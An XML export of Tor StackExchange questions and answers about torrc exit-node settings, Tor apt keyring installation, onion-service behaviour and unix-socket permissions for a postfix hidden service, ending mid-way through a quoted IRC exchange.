  <row Id="23210" PostTypeId="2" ParentId="23209" CreationDate="2022-06-25T19:24:43.597" Score="1" Body="&lt;blockquote&gt;&#xA;&lt;p&gt;I have edited nano &lt;code&gt;/tor-browser_en-US/Browser/TorBrowser/Data/Tor/torrc&lt;/code&gt; and added the line &lt;code&gt;ExitNodes {de} StrictNodes 1&lt;/code&gt; to have a german exit node as described here and there&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;The &lt;code&gt;StrictNodes&lt;/code&gt; option does not apply to &lt;code&gt;ExitNodes&lt;/code&gt;, so it's not needed here. (From the documentation: &amp;quot;StrictNodes does not apply to ExcludeExitNodes, ExitNodes, MiddleNodes, or MapAddress&amp;quot;)&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Rechecking &lt;code&gt;/tor-browser_en-US/Browser/TorBrowser/Data/Tor/torrc&lt;/code&gt; shows that my modifications are deleted.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;As mentioned in &lt;a href=&quot;https://support.torproject.org/tbb/tbb-editing-torrc/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://support.torproject.org/tbb/tbb-editing-torrc/&lt;/a&gt;, make sure Tor Browser is closed before you edit the torrc file, otherwise Tor Browser may overwrite your changes.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;What I tried so far:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;revoke write permissions: &lt;code&gt;chmod -w /tor-browser_en-US/Browser/TorBrowser/Data/Tor/torrc&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;chown torrc by root and give read to others.&lt;/li&gt;&#xA;&lt;li&gt;instead of &lt;code&gt;ExitNodes {de} StrictNodes 1&lt;/code&gt; using &lt;code&gt;ExitNodes {de}&lt;/code&gt; only&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;In every case the torrc file overwrites itself and loses my modifications. This shouldn't be possible when the file belongs to root while tor_browser is run by a normal non-root-user.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;It's true that if the file is owned by root and not writable by others, then other users can't write to the file. But other users can still delete the file and create a new file with different contents. If you want to prevent this, the directory must also not be writable by other users.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2022-06-25T19:24:43.597" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23211" PostTypeId="1" CreationDate="2022-06-26T08:09:34.967" Score="2" ViewCount="861" Body="&lt;p&gt;&lt;strong&gt;I just realized that on certain websites the tor-browser ignores my exit node policy.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;I specify a certain country as exit node but on certain websites the circuit changes on its own and I receive exit nodes all around the world. With other websites it is working as intended.&lt;/p&gt;&#xA;&lt;p&gt;One website where I have seen this behavior at &lt;a href=&quot;https://www.4chan.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.4chan.org/&lt;/a&gt; or &lt;a href=&quot;http://www.mixloud.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;www.mixloud.com&lt;/a&gt; for example. But there are many others too, which I do not want to list.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;strong&gt;Is this behavior intended?&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Is there any solution to this?&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;pre&gt;&lt;code&gt;cat torrc&#xA;# This file was generated by Tor; if you edit it, comments will not be preserved&#xA;# The old torrc file was renamed to torrc.orig.1, and Tor will ignore it&#xA;&#xA;ClientOnionAuthDir /home/alex/Downloads/tor-browser_en-US/Browser/TorBrowser/Data/Tor/onion-auth&#xA;DataDirectory /home/alex/Downloads/tor-browser_en-US/Browser/TorBrowser/Data/Tor&#xA;ExitNodes {de}&#xA;GeoIPFile /home/alex/Downloads/tor-browser_en-US/Browser/TorBrowser/Data/Tor/geoip&#xA;GeoIPv6File /home/alex/Downloads/tor-browser_en-US/Browser/TorBrowser/Data/Tor/geoip6&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="34732" LastEditorUserId="34732" LastEditDate="2022-06-26T09:53:13.147" LastActivityDate="2022-06-26T09:53:13.147" Title="Tor Browser does not use exit nodes from specified country on certain websites" Tags="|tor-browser-bundle|configuration|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23212" PostTypeId="1" CreationDate="2022-06-27T06:38:00.007" Score="0" ViewCount="2315" Body="&lt;p&gt;I've been following instructions from the torproject.org to install Tor on Ubuntu Focal Fossa.&#xA;While running the following code:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;wget -qO- https://deb.torproject.org/torproject.org/A3C4F0F979CAA22CDBA8F512EE8CBC9E886DDD89.asc | gpg --dearmor | tee /usr/share/keyrings/tor-archive-keyring.gpg &amp;gt;/dev/null&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;I got the following error:&#xA;&lt;code&gt;tee: /usr/share/keyrings/tor-archive-keyring.gpg: Permission denied&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;Before implementing blindly from the Internet, I decided to ask for support here. Perhaps, someone has already came across such an issue.&lt;/p&gt;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="34739" LastEditorUserId="34739" LastEditDate="2022-06-27T06:38:34.017" LastActivityDate="2022-06-28T01:39:47.420" Title="Problem with adding gpg while installing Tor browser: Permission denied" Tags="|ubuntu|tor-install|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23213" PostTypeId="2" ParentId="23212" CreationDate="2022-06-28T01:39:47.420" Score="0" Body="&lt;p&gt;You need to run this with root privileges. Add &lt;code&gt;sudo&lt;/code&gt; before the &lt;code&gt;tee&lt;/code&gt; command. For example:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;wget -qO- https://deb.torproject.org/torproject.org/A3C4F0F979CAA22CDBA8F512EE8CBC9E886DDD89.asc | gpg --dearmor | sudo tee /usr/share/keyrings/tor-archive-keyring.gpg &amp;gt;/dev/null&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;From &lt;a href=&quot;https://support.torproject.org/apt/tor-deb-repo/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://support.torproject.org/apt/tor-deb-repo/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; The symbol # refers to running the code as root. This means you should have access to a user account with system administration privileges, e.g your user should be in the sudo group.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2022-06-28T01:39:47.420" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23216" PostTypeId="2" ParentId="19622" CreationDate="2022-06-28T19:44:11.790" Score="1" Body="&lt;p&gt;I came with the similar question. For your case you can just tune caching right but even without this the Cache Validation with ETag is already enabled in any modern web server.&#xA;But if you want to use CDN for public libraries like jquery then the &lt;a href=&quot;https://jsdelivr.net/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://jsdelivr.net/&lt;/a&gt; from CloudFlare already supports onion network.&#xA;You need to include the script or style tag as usual but when you open the site on the TorBrowser each file in a response will have a header:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;alt-svc: h2=&amp;quot;cflar....onion:443&amp;quot;; ma=86400; persist=1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And the TorBrowser will establish a connection over a Tor network but using 4 hops instead of 6 (Single Onion Service).&#xA;This is described in the &lt;a href=&quot;https://blog.cloudflare.com/cloudflare-onion-service/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Introducing the Cloudflare Onion Service&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Please note that for a better security you must include script with &lt;code&gt;integrity&lt;/code&gt; attribute.&lt;/p&gt;&#xA;" OwnerUserId="34729" LastActivityDate="2022-06-28T19:44:11.790" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23217" PostTypeId="1" CreationDate="2022-06-28T19:47:45.720" Score="1" ViewCount="156" Body="&lt;p&gt;Whenever I watch non-YouTube type videos on Tor with my phone, it takes forever to load. The bar fills much slower than it plays, so unless I have it paused at 0:00 for tens of minutes at a time, I generally won't see the full thing. Also, scrolling back more than, say, a minute and it will all unload.&#xA;However, when I was on my tablet they all loaded much better, more than one second's loading every second, making for a continuous watch. The issue is though that I powered off my tablet earlier and now it loads like my phone. I thought it was to do with the difference in RAM hardware until I powered my tablet off.&lt;/p&gt;&#xA;&lt;p&gt;Basically, how can I make videos run vaguely faster as I have seen them do before?&lt;/p&gt;&#xA;" OwnerUserId="34745" LastActivityDate="2022-09-10T23:59:54.177" Title="How to make videos load quicker" Tags="|help|mobile|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23218" PostTypeId="1" CreationDate="2022-06-29T11:20:50.357" Score="1" ViewCount="153" Body="&lt;p&gt;Btw, I am a newbie so I am sorry if this is a dumbest question, but here I come!&lt;/p&gt;&#xA;&lt;p&gt;So, I am trying to learn about tor's onion services from their website on &lt;a href=&quot;https://community.torproject.org/onion-services/overview/&quot; rel=&quot;nofollow noreferrer&quot;&gt;this page&lt;/a&gt; and how it's actually done on &lt;a href=&quot;https://community.torproject.org/onion-services/setup/&quot; rel=&quot;nofollow noreferrer&quot;&gt;this page&lt;/a&gt;. From my understanding, when I run &lt;code&gt;tor&lt;/code&gt;, my service registers itself on tor's distributed hash table and at those introduction points and saves data about it in a folder so I can reuse it when I run &lt;code&gt;tor&lt;/code&gt; for the next time. I am concluding that the registration does not expire and stays there even after I terminate my &lt;code&gt;tor&lt;/code&gt;. Now since it is all anonymous, I don't really have a limit of how many services I can set up and register and that means I can set up hundreds of them every day...&lt;br&gt;&#xA;My question is now: how do onion services get removed? Is there some time limit of how long my service can be inactive before it gets removed from the DHT? That would make sense to me, but I couldn't confirm by searching the internet so I am asking here.&lt;/p&gt;&#xA;" OwnerUserId="33655" LastActivityDate="2022-06-29T11:20:50.357" Title="How to remove an onion service from the DHT?" Tags="|onion-services|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23220" PostTypeId="1" CreationDate="2022-07-01T10:38:40.590" Score="1" ViewCount="53" Body="&lt;p&gt;Edit: Actually the torsocks v1.4.0 --ipv6 option has been working for me. See &lt;a href=&quot;https://github.com/ehloonion/onionmx/issues/38#issuecomment-1173104130&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/ehloonion/onionmx/issues/38#issuecomment-1173104130&lt;/a&gt;&lt;/p&gt;&#xA;&lt;s&gt;&#xA;[I've been trying][1] to get [onionmx][2] working with postfix and smtp delivery over torsocks.&#xA;&lt;p&gt;It sometimes works, and sometimes randomly fails with &lt;code&gt;Resolve destination buffer too small&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;If I understand correctly there's no workaround?&lt;/p&gt;&#xA;&lt;p&gt;See: &lt;a href=&quot;https://bugs.launchpad.net/ubuntu/+source/torsocks/+bug/1975416&quot; rel=&quot;nofollow noreferrer&quot;&gt;Ubuntu torsocks bug: &amp;quot;Torsocks fails to resolve domain names where ɪᴘv6 is available.&amp;quot;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;And: &lt;a href=&quot;https://gitlab.torproject.org/tpo/core/torsocks/-/issues/16934&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor Bug: &amp;quot;youtube-dl (recent), torsocks 2.1.0 and TBB5+ failure&amp;quot;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Setting all of the following did not help:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;AutomapHostsOnResolve 1&#xA;AddressDisableIPv6 1&#xA;NoPreferIPv6Automap (on the SocksPort)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Is torsocks effectively abandoned?&#xA;&lt;/s&gt;&lt;/p&gt;&#xA;" OwnerUserId="34754" LastEditorUserId="34754" LastEditDate="2022-07-05T11:03:26.170" LastActivityDate="2022-07-05T11:03:26.170" Title="&lt;crossout&gt;onionmx broken due to torsocks ipv6 abandonment&lt;/crossout&gt;" Tags="|torsocks|email|ipv6|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="23221" PostTypeId="2" ParentId="23209" CreationDate="2022-07-03T20:13:57.827" Score="0" Body="&lt;h2&gt;&lt;code&gt;Go to: Tor Browser\Browser\TorBrowser\Data\Tor\torrc-defaults&lt;/code&gt;&lt;/h2&gt;&#xA;&lt;p&gt;and make a copy of this text file&#xA;now open  &amp;quot;torrc-defaults&amp;quot; file in notepad&#xA;and add below all the text this command:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;EntryNodes {us} StrictNodes 1&#xA;MiddleNodes {us} StrictNodes 1&#xA;ExitNodes {us} StrictNodes 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;after you add this commands your tor use only US SERVER for normal brows but if you go to onion website it will be random servers of tor&lt;/p&gt;&#xA;&lt;p&gt;if you like to change the country change the XX:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;EntryNodes {XX} StrictNodes 1&#xA;MiddleNodes {XX} StrictNodes 1&#xA;ExitNodes {XX} StrictNodes 1 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;you can change to any country server&lt;/p&gt;&#xA;&lt;p&gt;if you like to turn off the custom server notes you just need to add :&#xA;&amp;quot;#&amp;quot; in on the start of the command&#xA;like that:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;# EntryNodes {us} StrictNodes 1&#xA;# MiddleNodes {us} StrictNodes 1&#xA;# ExitNodes {us} StrictNodes 1 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;that will make sure that you will use random server again&lt;/p&gt;&#xA;" OwnerUserId="34762" LastEditorUserId="34762" LastEditDate="2022-07-03T20:17:11.600" LastActivityDate="2022-07-03T20:17:11.600" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23222" PostTypeId="2" ParentId="23209" CreationDate="2022-07-03T20:20:46.527" Score="1" Body="&lt;p&gt;this is list of all code country  that will help you:(just click F3 and search you are country)&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;AD - Andorra    FM - Micronesia (Federated States of)&#xA;AE - United Arab Emirates   KR - Korea (Republic of)&#xA;AF - Afghanistan    &#xA;AG - Antigua and Barbuda    &#xA;AI - Anguilla   &#xA;AL - Albania    &#xA;AM - Armenia    &#xA;AO - Angola &#xA;AQ - Antarctica &#xA;AR - Argentina  &#xA;AS - American Samoa &#xA;AT - Austria    &#xA;AU - Australia  &#xA;AW - Aruba  &#xA;AX - Åland Islands  &#xA;AZ - Azerbaijan &#xA;BA - Bosnia and Herzegovina &#xA;BB - Barbados   &#xA;BD - Bangladesh &#xA;BE - Belgium    &#xA;BF - Burkina Faso   &#xA;BG - Bulgaria   &#xA;BH - Bahrain    &#xA;BI - Burundi    &#xA;BJ - Benin  &#xA;BL - Saint Barthélemy   &#xA;BM - Bermuda    &#xA;BN - Brunei Darussalam  &#xA;BO - Bolivia (Plurinational State of)   &#xA;BR - Brazil &#xA;BS - Bahamas    &#xA;BT - Bhutan &#xA;BV - Bouvet Island  &#xA;BW - Botswana   &#xA;BY - Belarus    &#xA;BZ - Belize &#xA;CA - Canada &#xA;CC - Cocos (Keeling) Islands    &#xA;CD - Congo (Democratic Republic of the) &#xA;CF - Central African Republic   &#xA;CG - Republic of the Congo  &#xA;CH - Switzerland    &#xA;CI - Côte d'Ivoire  &#xA;CK - Cook Islands   &#xA;CL - Chile  &#xA;CM - Cameroon   &#xA;CN - China  &#xA;CO - Colombia   &#xA;CR - Costa Rica &#xA;CU - Cuba   &#xA;CV - Cabo Verde &#xA;CX - Christmas Island   &#xA;CY - Cyprus &#xA;CZ - Czech Republic &#xA;DE - Germany    &#xA;DJ - Djibouti   &#xA;DK - Denmark    &#xA;DM - Dominica   &#xA;DO - Dominican Republic &#xA;DZ - Algeria    &#xA;EC - Ecuador    &#xA;EE - Estonia    &#xA;EG - Egypt  &#xA;EH - Western Sahara &#xA;ER - Eritrea    &#xA;ES - Spain  &#xA;ET - Ethiopia   &#xA;FI - Finland    &#xA;FJ - Fiji   &#xA;FK - Falkland Islands (Malvinas)    &#xA;FO - Faroe Islands  &#xA;FR - France &#xA;GA - Gabon  &#xA;GB - United Kingdom of Great Britain and Northern Ireland   &#xA;GD - Grenada    &#xA;GE - Georgia (country)  &#xA;GF - French Guiana  &#xA;GG - Guernsey   &#xA;GH - Ghana  &#xA;GI - Gibraltar  &#xA;GL - Greenland  &#xA;GM - Gambia &#xA;GN - Guinea &#xA;GP - Guadeloupe &#xA;GQ - Equatorial Guinea  &#xA;GR - Greece &#xA;GS - South Georgia and the South Sandwich Islands   &#xA;GT - Guatemala  &#xA;GU - Guam   &#xA;GW - Guinea-Bissau  &#xA;GY - Guyana &#xA;HK - Hong Kong  &#xA;HM - Heard Island and McDonald Islands  &#xA;HN - Honduras   &#xA;HR - Croatia    &#xA;HT - Haiti  &#xA;HU - Hungary    &#xA;ID - Indonesia  &#xA;IE - Republic of Ireland    &#xA;IL - Israel &#xA;IM - Isle of Man    &#xA;IN - India  &#xA;IO - British Indian Ocean Territory &#xA;IQ - Iraq   &#xA;IR - Iran (Islamic Republic of) &#xA;IS - Iceland    &#xA;IT - Italy  &#xA;JE - Jersey &#xA;JM - Jamaica    &#xA;JO - Jordan &#xA;JP - Japan  &#xA;KE - Kenya  &#xA;KG - Kyrgyzstan &#xA;KH - Cambodia   &#xA;KI - Kiribati   &#xA;KM - Comoros    &#xA;KN - Saint Kitts and Nevis  &#xA;KP - North Korea    &#xA;KW - Kuwait &#xA;KY - Cayman Islands &#xA;KZ - Kazakhstan &#xA;LA - Lao People's Democratic Republic   &#xA;LB - Lebanon    &#xA;LC - Saint Lucia    &#xA;LI - Liechtenstein  &#xA;LK - Sri Lanka  &#xA;LR - Liberia    &#xA;LS - Lesotho    &#xA;LT - Lithuania  &#xA;LU - Luxembourg &#xA;LV - Latvia &#xA;LY - Libya  &#xA;MA - Morocco    &#xA;MC - Monaco &#xA;MD - Moldova (Republic of)  &#xA;ME - Montenegro &#xA;MG - Madagascar &#xA;MH - Marshall Islands   &#xA;MK - Republic of Macedonia  &#xA;ML - Mali   &#xA;MM - Myanmar    &#xA;MN - Mongolia   &#xA;MO - Macao  &#xA;MP - Northern Mariana Islands   &#xA;MQ - Martinique &#xA;MR - Mauritania &#xA;MS - Montserrat &#xA;MT - Malta  &#xA;MU - Mauritius  &#xA;MV - Maldives   &#xA;MW - Malawi &#xA;MX - Mexico &#xA;MY - Malaysia   &#xA;MZ - Mozambique &#xA;NA - Namibia    &#xA;NC - New Caledonia  &#xA;NE - Niger  &#xA;NF - Norfolk Island &#xA;NG - Nigeria    &#xA;NI - Nicaragua  &#xA;NL - Netherlands    &#xA;NO - Norway &#xA;NP - Nepal  &#xA;NR - Nauru  &#xA;NU - Niue   &#xA;NZ - New Zealand    &#xA;OM - Oman   &#xA;PA - Panama &#xA;PE - Peru   &#xA;PF - French Polynesia   &#xA;PG - Papua New Guinea   &#xA;PH - Philippines    &#xA;PK - Pakistan   &#xA;PL - Poland &#xA;PM - Saint Pierre and Miquelon  &#xA;PN - Pitcairn   &#xA;PR - Puerto Rico    &#xA;PS - State of Palestine &#xA;PT - Portugal   &#xA;PW - Palau  &#xA;PY - Paraguay   &#xA;QA - Qatar  &#xA;RE - Réunion    &#xA;RO - Romania    &#xA;RS - Serbia &#xA;RU - Russian Federation &#xA;RW - Rwanda &#xA;SA - Saudi Arabia   &#xA;SB - Solomon Islands    &#xA;SC - Seychelles &#xA;SD - Sudan  &#xA;SE - Sweden &#xA;SG - Singapore  &#xA;SH - Saint Helena, Ascension and Tristan da Cunha   &#xA;SI - Slovenia   &#xA;SJ - Svalbard and Jan Mayen &#xA;SK - Slovakia   &#xA;SL - Sierra Leone   &#xA;SM - San Marino &#xA;SN - Senegal    &#xA;SO - Somalia    &#xA;SR - Suriname   &#xA;ST - Sao Tome and Principe  &#xA;SV - El Salvador    &#xA;SY - Syrian Arab Republic   &#xA;SZ - Swaziland  &#xA;TC - Turks and Caicos Islands   &#xA;TD - Chad   &#xA;TF - French Southern Territories    &#xA;TG - Togo   &#xA;TH - Thailand   &#xA;TJ - Tajikistan &#xA;TK - Tokelau    &#xA;TL - Timor-Leste    &#xA;TM - Turkmenistan   &#xA;TN - Tunisia    &#xA;TO - Tonga  &#xA;TR - Turkey &#xA;TT - Trinidad and Tobago    &#xA;TV - Tuvalu &#xA;TW - Taiwan &#xA;TZ - Tanzania, United Republic of   &#xA;UA - Ukraine    &#xA;UG - Uganda &#xA;UM - United States Minor Outlying Islands   &#xA;US - United States of America   &#xA;UY - Uruguay    &#xA;UZ - Uzbekistan &#xA;VA - Vatican City State &#xA;VC - Saint Vincent and the Grenadines   &#xA;VE - Venezuela (Bolivarian Republic of) &#xA;VG - British Virgin Islands &#xA;VI - United States Virgin Islands   &#xA;VN - Viet Nam   &#xA;VU - Vanuatu    &#xA;WF - Wallis and Futuna  &#xA;WS - Samoa  &#xA;YE - Yemen  &#xA;YT - Mayotte    &#xA;ZA - South Africa   &#xA;ZM - Zambia &#xA;ZW - Zimbabwe&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="34762" LastActivityDate="2022-07-03T20:20:46.527" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23223" PostTypeId="2" ParentId="15505" CreationDate="2022-07-04T11:25:53.747" Score="3" Body="&lt;p&gt;I fixed this problem on a &lt;strong&gt;windows&lt;/strong&gt; machine by just giving my current user full control over the folder like below.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Go to where you installed the browser and right click the folder then go to properties.&lt;/li&gt;&#xA;&lt;li&gt;Choose security tab and click edit button which is below all the accounts shown on the machine.&lt;/li&gt;&#xA;&lt;li&gt;Select the user you want and then tick allow on all the permissions and mainly the full control and read and write and then apply these changes and open the browser again.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="34765" LastActivityDate="2022-07-04T11:25:53.747" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23224" PostTypeId="2" ParentId="9173" CreationDate="2022-07-05T10:35:14.583" Score="1" Body="&lt;p&gt;As the manual states, StrictNodes does not apply to ExitNodes, only to ExcludeNodes.&lt;/p&gt;&#xA;&lt;p&gt;From &lt;code&gt;tor(1)&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;StrictNodes 0|1&lt;/p&gt;&#xA;&lt;p&gt;If StrictNodes is set to 1, Tor will treat solely the ExcludeNodes option as a requirement to follow for all the circuits you generate, even if doing so will break functionality for you (StrictNodes does not apply to ExcludeExitNodes, ExitNodes, MiddleNodes, or MapAddress). If StrictNodes is set to 0, Tor will still try to avoid nodes in the ExcludeNodes list, but it will err on the side of avoiding unexpected errors. Specifically, StrictNodes 0 tells Tor that it is okay to use an excluded node when it is necessary to perform relay reachability self-tests, connect to a hidden service, provide a hidden service to a client, fulfill a .exit request, upload directory information, or download directory information. (Default: 0)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="34768" LastActivityDate="2022-07-05T10:35:14.583" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23225" PostTypeId="1" CreationDate="2022-07-05T11:44:42.780" Score="0" ViewCount="248" Body="&lt;p&gt;Permissions are set so tor should be able to access through the &lt;code&gt;postfix-test-queue&lt;/code&gt; user:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ sudo ls -l /var/spool/postfix-test/public/smtpd &#xA;srw-rw-rw- 1 postfix-test postfix-test 0 █████ /var/spool/postfix-test/public/smtpd&#xA;$ sudo ls -l /var/spool/postfix-test&#xA;# ...&#xA;drwx--x---  2 postfix-test postfix-test-queue 4096 █████ public&#xA;$ sudo -u _tor-test id&#xA;uid=130(_tor-test) gid=141(_tor-test) groups=141(_tor-test),1006(postfix-test-queue)&#xA;$ cat /etc/tor/instances/test/torrc | grep HiddenServicePort&#xA;HiddenServicePort 25 unix:/var/spool/postfix-test/public/smtpd&#xA;$ cat /run/tor-instances/test.defaults | grep User&#xA;User _tor-test&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Running &lt;code&gt;tor@test&lt;/code&gt; via the default systemctl config shows:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ ps -ax -o uid,gid,supgid,command | grep /usr/bin/tor&#xA;  130   141 141                  /usr/bin/tor --defaults-torrc /run/tor-instances/test.defaults -f /etc/tor/instances/test/torrc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Which is missing the &lt;code&gt;postfix-test-queue&lt;/code&gt; &lt;code&gt;1006&lt;/code&gt; user which, for example shows up if I do:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ sudo -u _tor-test sleep 1000 &amp;amp; ps -ax -o uid,gid,supgid,command | grep sleep&#xA;[1] 132314&#xA;    0   141 141,1006             sudo -u _tor-test sleep 1000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Connecting using &lt;code&gt;sudo -u&lt;/code&gt; works (the message indicates successful connection):&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ sudo -u _tor-test curl --unix-socket /var/spool/postfix-test/public/smtpd http://localhost&#xA;curl: (1) Received HTTP/0.9 when not allowed&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;But connecting via tor does not:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ torsocks --ipv6 curl http://█████.onion:25&#xA;█████ ERROR torsocks[134873]: Host unreachable (in socks5_recv_connect_reply() at socks5.c:539)&#xA;curl: (7) Couldn't connect to server&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;But does if I allow access to the socket to everyone:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ sudo chmod &amp;quot;o+x&amp;quot; /var/spool/postfix-test/public/&#xA;$ torsocks --ipv6 curl http://█████.onion:25&#xA;curl: (1) Received HTTP/0.9 when not allowed&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Tor's relevant source code: &lt;a href=&quot;https://tpo.pages.torproject.net/core/doc/tor/setuid_8c_source.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor: lib/process/setuid.c Source File&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;And &lt;a href=&quot;https://manpages.debian.org/jessie/tor/torrc.5&quot; rel=&quot;nofollow noreferrer&quot;&gt;torrc documentation&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt; User UID&#xA;On startup, setuid to this user and setgid to their primary group.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="34754" LastActivityDate="2022-07-07T03:29:35.363" Title="Tor can't read HiddenServicePort unix socket through group permissions when starting as root and using setgid?" Tags="|onion-services|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23226" PostTypeId="2" ParentId="23225" CreationDate="2022-07-06T06:18:49.597" Score="0" Body="&lt;p&gt;I asked on #tor irc:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ketyn&amp;gt; Is it intended that tor doesn't set supplementary groups when starting as root and then doing setgid? This describes my issue: https://tor.stackexchange.com/questions/23225/tor-cant-read-hiddenserviceport-unix-socket-through-group-permissions-when-star&#xA;&amp;lt;ketyn&amp;gt; I see many threads on the internet of people claiming that tor unix socket permissions aren't working for them and while sometimes it turns out to be apparmor/SELinux, I think this might be biting other people too&#xA;&amp;lt;ketyn&amp;gt; I think significant numbers of people might just be giving up and making their unix socket globally readable, or switching to numbered port based sockets rather than unix domain sockets.&#xA;&amp;lt;arma&amp;gt; ketyn: we had a series of security surprises in the past with how we did groups and dropping privs,&#xA;&amp;lt;arma&amp;gt; and we settled on what we do now as the safest option&#xA;&amp;lt;ketyn&amp;gt; Alright, I guess I'll need to either make the sockets tor listens to owned by the tor user, or use socat to forward. Maybe there's a documentation fix to apply here though.&#xA;&amp;lt;ketyn&amp;gt; tor forwards to*&#xA;&amp;lt;bentham&amp;gt; ketyn: What are you doing that would make that necessary?&#xA;&amp;lt;bentham&amp;gt; Is the default not working for you for some reason?&#xA;&amp;lt;bentham&amp;gt; Also, which socket(s) is(are) causing issues for you?  Is it something in /run/tor?&#xA;&amp;lt;ketyn&amp;gt; I want to make a tor hidden service listening to port 25, connected to a socket at /var/spool/postfix-test/public/smtpd owned by the user postfix-queue&#xA;&amp;lt;ketyn&amp;gt; According to postfix, I'm then supposed to add whatever user I want to read to that socket to the group postfix-queue&#xA;&amp;lt;arma&amp;gt; ketyn: hmmm&#xA;&amp;lt;arma&amp;gt; for the control socket see the GroupWritable flags&#xA;&amp;lt;arma&amp;gt; ControlSocket /run/tor/control GroupWritable RelaxDirModeCheck&#xA;&amp;lt;arma&amp;gt; ControlSocketsGroupWritable 1&#xA;&amp;lt;arma&amp;gt; this is how you can add your username to the tor group and then have permissions to connect with a controller&#xA;&amp;lt;ketyn&amp;gt; This is not a control socket. This is a hidden service. e.g. HiddenServicePort 25 